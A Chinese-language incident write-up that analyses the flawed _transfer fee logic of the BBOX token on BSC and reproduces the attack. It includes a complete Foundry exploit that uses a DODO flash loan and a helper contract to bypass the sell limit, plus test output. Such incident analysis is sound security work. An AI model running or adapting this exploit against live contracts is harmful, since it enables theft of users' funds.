BBOX攻击事件分析与复现

2023-01-05

简述

部署在bsc上的bbox代币由于在实现_transfer函数时过于复杂,导致了漏洞的产生

漏洞分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(amount > 0, "Transfer amount must be greater than zero");

if(
!_isContract(to)
&& _recommerMapping[to] == address(0)
&& amount >= recommeCondition){

if( ammPairs[from] ){
addRelationEx(holder,to);
}else{
addRelationEx(from,to);
}
}

bool isAddLiquidity;
bool isDelLiquidity;
( isAddLiquidity, isDelLiquidity) = _isLiquidity(from,to);

if(
pairAmountChange
&& !isAddLiquidity
&& pairAmount > 0
&& !ammPairs[from]
&& pairAmount < balanceOf(uniswapV2Pair)){

uint v = pairAmount;
pairAmount = 0;
_tOwned[uniswapV2Pair] = _tOwned[uniswapV2Pair].sub(v);
_tOwned[address(0)] = _tOwned[address(0)].add(v);
emit Transfer(uniswapV2Pair, address(0), v);

IUniswapV2Pair(uniswapV2Pair).sync();
}

Param memory param;
param.tTransferAmount = amount;
param.user = to;

bool takeFee = true;
if(
_isExcludedFromFee[from]
|| _isExcludedFromFee[to]
|| isAddLiquidity
|| to == address(uniswapV2Router)){
takeFee = false;
}

if( takeFee && ammPairs[from] ){
param.user = to;
pairAmount += amount * 3 / 100;
lastBuyTime[to] = block.timestamp;
}

if( takeFee && ammPairs[to] ){
param.user = from;
pairAmount += amount * 3 / 100;
require(block.timestamp > lastBuyTime[from] + sellSwapTimeLimit,"sell limit time");
require(amount <= balanceOf(from) * sellSwapLimitRate / 100 ,"sell limit amount");
}

if( isAddLiquidity && IERC20(uniswapV2Pair).totalSupply() == 0 && ammPairs[to] ){
require(from == initPoolAddress,"not allow");
}

param.takeFee = takeFee;
if( takeFee ){
_initParam(amount,param);
}

_tokenTransfer(from,to,amount,param);

if (fromAddress == address(0)) fromAddress = from;
if (toAddress == address(0)) toAddress = to;
if ( !ammPairs[fromAddress] ) {
setEst(lpInterest,fromAddress);
}
if ( !ammPairs[toAddress] ) {
setEst(lpInterest,toAddress);
}
fromAddress = from;
toAddress = to;

if(
from != address(this)
&& lpInterest.lastSendTime + lpInterest.period < block.timestamp
&& lpInterest.award > 0
&& lpInterest.award <= balanceOf(address(this))
&& lpInterest.token.totalSupply() > 1e5){

lpInterest.lastSendTime = block.timestamp;
processEst(lpInterest, distributorGas);
}
}

转账函数中有一个pairAmount 用来记录每次发生交易该收3%的手续费,当from 和 to 都是合约时 会走进下面的代码逻辑,pair的代币数量会被减掉pairAmount sync()后就相当于拉高了币价,攻击者在砸盘获利

image-20230105163901624

漏洞复现

注意代码里有卖出限制,需要新建一个合约来绕过这个限制

image-20230105164324772

使用不同于买入地址进行卖出操作 from就是0 可以绕过这个require

image-20230105164425691

攻击代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./interface.sol";
import "forge-std/console.sol";

contract bboxExploit is DSTest{

IERC20 BBOX = IERC20(0x5DfC7f3EbBB9Cbfe89bc3FB70f750Ee229a59F8c);
IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
address dodo = 0x0fe261aeE0d1C4DFdDee4102E82Dd425999065F4;
address contractaddress;


CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

function setUp() public {
cheats.createSelectFork('bsc',23106506);
}

// function testFork() public {
// assertEq(block.number,23106506);
// }

function testExploit() public{
WBNB.approve(address(Router), type(uint).max);
BBOX.approve(address(Router), type(uint).max);
// uint flashLoanAmount = WBNB.balanceOf(dodo);
TransferBBOXHelp transferHelp = new TransferBBOXHelp();
contractaddress = address(transferHelp);
DVM(dodo).flashLoan(1300*1e18,0,address(this),new bytes(1));
emit log_named_decimal_uint(
"[End] Attacker WBNB balance after exploit",
WBNB.balanceOf(address(this)),
18
);
}

function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) public{
emit log_named_decimal_uint(
"[start] Attacker WBNB balance before exploit",
WBNB.balanceOf(address(this)),
18
);
WBNBToBBOX();
// BBOX.transfer(address(this),BBOX.balanceOf(address(this)));
contractaddress.call(abi.encodeWithSignature("transferBBOX()"));
BBOXToWBNB();
WBNB.transfer(dodo,1300*1e18);

}

function WBNBToBBOX() internal{
address [] memory path = new address[](2);
path[0] = address(WBNB);
path[1] = address(BBOX);
Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
1300 * 1e18,
0,
path,
contractaddress,
block.timestamp
);
}

function BBOXToWBNB() internal{
address [] memory path = new address[](2);
path[0] = address(BBOX);
path[1] = address(WBNB);
Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
BBOX.balanceOf(address(this)) * 90 / 100,
0,
path,
address(this),
block.timestamp
);
}


}

contract TransferBBOXHelp{
IERC20 BBOX = IERC20(0x5DfC7f3EbBB9Cbfe89bc3FB70f750Ee229a59F8c);
function transferBBOX() external{
BBOX.transfer(msg.sender, BBOX.balanceOf(address(this)));
}
}

输出如下:

1
2
3
4
5
6
7
Running 1 test for src/test/bboxexp.sol:bboxExploit
[PASS] testExploit() (gas: 1123360)
Logs:
[start] Attacker WBNB balance before exploit: 1300.000000000000000000
[End] Attacker WBNB balance after exploit: 38.435195424700962888

Test result: ok. 1 passed; 0 failed; finished in 86.10ms

参考链接

https://twitter.com/AnciliaInc/status/1599599614490877952